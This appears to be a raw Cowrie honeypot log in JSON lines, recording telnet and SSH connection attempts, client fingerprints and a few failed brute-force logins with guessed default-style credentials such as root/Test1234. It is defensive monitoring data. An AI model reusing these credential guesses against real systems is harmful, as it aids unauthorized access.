{"eventid":"cowrie.session.closed","duration":30.8358952999115,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:50.331954Z","src_ip":"212.47.75.195","session":"dc4659c5f60f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.745894193649292,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:50.682832Z","src_ip":"212.47.75.195","session":"f04015ca1e7a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:51.129985Z","src_ip":"159.203.92.129","session":"cc9fb8e6ea44","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":54722,"dst_ip":"159.203.135.109","dst_port":23,"session":"7ddbd8a3df40","protocol":"telnet","message":"New connection: 31.41.249.116:54722 (159.203.135.109:23) [session: 7ddbd8a3df40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:52.768926Z"}
{"eventid":"cowrie.session.closed","duration":31.102015495300293,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:53.157221Z","src_ip":"31.186.175.46","session":"f1b0b786516e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.41.249.116","src_port":54730,"dst_ip":"159.203.135.109","dst_port":23,"session":"3abfd506775f","protocol":"telnet","message":"New connection: 31.41.249.116:54730 (159.203.135.109:23) [session: 3abfd506775f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:54.053425Z"}
{"eventid":"cowrie.session.closed","duration":30.997955560684204,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:54.404714Z","src_ip":"212.47.75.195","session":"29a905bd13f8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.23690176010132,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:55.044958Z","src_ip":"31.41.249.116","session":"3ef2c6fd785c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.6175799369812,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:55.488599Z","src_ip":"212.47.75.195","session":"36fd5905d6b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.37243628501892,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:57.356882Z","src_ip":"108.179.218.230","session":"d5d6b8c4b025","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":39688,"dst_ip":"10.17.0.5","dst_port":23,"session":"73ae151e77e6","protocol":"telnet","message":"New connection: 108.179.218.230:39688 (10.17.0.5:23) [session: 73ae151e77e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:03:57.553809Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":53624,"dst_ip":"159.203.135.109","dst_port":22,"session":"f4bec2195520","protocol":"ssh","message":"New connection: 122.168.114.167:53624 (159.203.135.109:22) [session: f4bec2195520]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:00.554698Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:02.917862Z","src_ip":"122.168.114.167","session":"f4bec2195520","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:02.921759Z","src_ip":"122.168.114.167","session":"f4bec2195520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.560420274734497,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:04.510460Z","src_ip":"108.179.218.230","session":"4cae64469465","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.3049635887146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:05.189903Z","src_ip":"31.186.175.46","session":"794d5239e1f2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.057581424713135,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:06.575550Z","src_ip":"108.179.218.230","session":"a82b4f8f16b5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.189","src_port":27454,"dst_ip":"159.203.135.109","dst_port":22,"session":"7e7f241d70d4","protocol":"ssh","message":"New connection: 2.57.122.189:27454 (159.203.135.109:22) [session: 7e7f241d70d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:08.303672Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:08.309299Z","src_ip":"2.57.122.189","session":"7e7f241d70d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 5bd26477da5440a6187bd3f1b39a429c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:08.418457Z","src_ip":"2.57.122.189","session":"7e7f241d70d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.724751234054565,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:08.437082Z","src_ip":"108.179.218.230","session":"de2e7a42bb10","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.6","message":"Connection lost after 0.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:08.879158Z","src_ip":"2.57.122.189","session":"7e7f241d70d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.608733654022217,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:09.232530Z","src_ip":"108.179.218.230","session":"a6d7891b75f7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.969119548797607,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:09.483557Z","src_ip":"108.179.218.230","session":"5c9234ec5f0c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":48046,"dst_ip":"10.17.0.5","dst_port":23,"session":"062519d1d016","protocol":"telnet","message":"New connection: 108.179.218.230:48046 (10.17.0.5:23) [session: 062519d1d016]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:13.113536Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"Test1234","message":"login attempt [root/Test1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:16.046473Z","src_ip":"122.168.114.167","session":"f4bec2195520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.647350549697876,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:18.170150Z","src_ip":"31.186.175.46","session":"0c96e169b027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.09117603302002,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:19.849896Z","src_ip":"108.179.218.230","session":"1a07fe406879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"19.7","message":"Connection lost after 19.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:20.256104Z","src_ip":"122.168.114.167","session":"f4bec2195520","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.384886741638184,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:23.153708Z","src_ip":"31.41.249.116","session":"7ddbd8a3df40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54938,"dst_ip":"159.203.135.109","dst_port":23,"session":"ac95ea8f027e","protocol":"telnet","message":"New connection: 212.47.75.195:54938 (159.203.135.109:23) [session: ac95ea8f027e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:23.534373Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54948,"dst_ip":"159.203.135.109","dst_port":23,"session":"764725547674","protocol":"telnet","message":"New connection: 212.47.75.195:54948 (159.203.135.109:23) [session: 764725547674]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:24.816504Z"}
{"eventid":"cowrie.session.closed","duration":31.42322015762329,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:25.476552Z","src_ip":"31.41.249.116","session":"3abfd506775f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.80.18.158","src_port":47282,"dst_ip":"10.17.0.5","dst_port":22,"session":"b76476d2f964","protocol":"ssh","message":"New connection: 186.80.18.158:47282 (10.17.0.5:22) [session: b76476d2f964]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:25.566336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:25.571811Z","src_ip":"186.80.18.158","session":"b76476d2f964","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:25.648244Z","src_ip":"186.80.18.158","session":"b76476d2f964","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"Ab123456","message":"login attempt [user/Ab123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:25.982645Z","src_ip":"186.80.18.158","session":"b76476d2f964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54950,"dst_ip":"159.203.135.109","dst_port":23,"session":"3592a3b2ebd5","protocol":"telnet","message":"New connection: 212.47.75.195:54950 (159.203.135.109:23) [session: 3592a3b2ebd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:26.564510Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54952,"dst_ip":"159.203.135.109","dst_port":23,"session":"ccc0d40b4846","protocol":"telnet","message":"New connection: 212.47.75.195:54952 (159.203.135.109:23) [session: ccc0d40b4846]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:26.743659Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54954,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f3a1b31c603","protocol":"telnet","message":"New connection: 212.47.75.195:54954 (159.203.135.109:23) [session: 6f3a1b31c603]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:26.964355Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:27.061812Z","src_ip":"186.80.18.158","session":"b76476d2f964","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54956,"dst_ip":"159.203.135.109","dst_port":23,"session":"b43a9765ec81","protocol":"telnet","message":"New connection: 212.47.75.195:54956 (159.203.135.109:23) [session: b43a9765ec81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:28.411576Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54960,"dst_ip":"159.203.135.109","dst_port":23,"session":"61213429a0c5","protocol":"telnet","message":"New connection: 212.47.75.195:54960 (159.203.135.109:23) [session: 61213429a0c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:28.511466Z"}
{"eventid":"cowrie.session.closed","duration":31.024943590164185,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:28.578615Z","src_ip":"108.179.218.230","session":"73ae151e77e6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54962,"dst_ip":"159.203.135.109","dst_port":23,"session":"b808ed4b87f2","protocol":"telnet","message":"New connection: 212.47.75.195:54962 (159.203.135.109:23) [session: b808ed4b87f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:28.940705Z"}
{"eventid":"cowrie.session.connect","src_ip":"108.179.218.230","src_port":54802,"dst_ip":"10.17.0.5","dst_port":23,"session":"ab55f3d5782c","protocol":"telnet","message":"New connection: 108.179.218.230:54802 (10.17.0.5:23) [session: ab55f3d5782c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:29.091444Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54964,"dst_ip":"159.203.135.109","dst_port":23,"session":"4cf397e393ec","protocol":"telnet","message":"New connection: 212.47.75.195:54964 (159.203.135.109:23) [session: 4cf397e393ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:30.551752Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54966,"dst_ip":"159.203.135.109","dst_port":23,"session":"13d64ff70d9b","protocol":"telnet","message":"New connection: 212.47.75.195:54966 (159.203.135.109:23) [session: 13d64ff70d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:30.643273Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54968,"dst_ip":"159.203.135.109","dst_port":23,"session":"4af88e1456fd","protocol":"telnet","message":"New connection: 212.47.75.195:54968 (159.203.135.109:23) [session: 4af88e1456fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:31.533389Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54970,"dst_ip":"159.203.135.109","dst_port":23,"session":"bd919c0075f2","protocol":"telnet","message":"New connection: 212.47.75.195:54970 (159.203.135.109:23) [session: bd919c0075f2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:32.583211Z"}
{"eventid":"cowrie.session.connect","src_ip":"133.130.75.21","src_port":40317,"dst_ip":"10.17.0.5","dst_port":23,"session":"79835bd14cd1","protocol":"telnet","message":"New connection: 133.130.75.21:40317 (10.17.0.5:23) [session: 79835bd14cd1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:32.590406Z"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":51784,"dst_ip":"159.203.135.109","dst_port":22,"session":"9e6b2cc41aa1","protocol":"ssh","message":"New connection: 159.203.92.129:51784 (159.203.135.109:22) [session: 9e6b2cc41aa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:32.777282Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:32.782078Z","src_ip":"159.203.92.129","session":"9e6b2cc41aa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:32.786765Z","src_ip":"159.203.92.129","session":"9e6b2cc41aa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"arima","password":"123456","message":"login attempt [arima/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:32.799470Z","src_ip":"159.203.92.129","session":"9e6b2cc41aa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:33.806964Z","src_ip":"159.203.92.129","session":"9e6b2cc41aa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54972,"dst_ip":"159.203.135.109","dst_port":23,"session":"91f957971fa6","protocol":"telnet","message":"New connection: 212.47.75.195:54972 (159.203.135.109:23) [session: 91f957971fa6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:33.825325Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54974,"dst_ip":"159.203.135.109","dst_port":23,"session":"69f8efa7cb9e","protocol":"telnet","message":"New connection: 212.47.75.195:54974 (159.203.135.109:23) [session: 69f8efa7cb9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:34.652443Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.47.75.195","src_port":54976,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a3848bf0609","protocol":"telnet","message":"New connection: 212.47.75.195:54976 (159.203.135.109:23) [session: 1a3848bf0609]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:35.017532Z"}
{"eventid":"cowrie.session.connect","src_ip":"122.168.114.167","src_port":56032,"dst_ip":"159.203.135.109","dst_port":22,"session":"631989a53e48","protocol":"ssh","message":"New connection: 122.168.114.167:56032 (159.203.135.109:22) [session: 631989a53e48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T10:04:43.040373Z"}
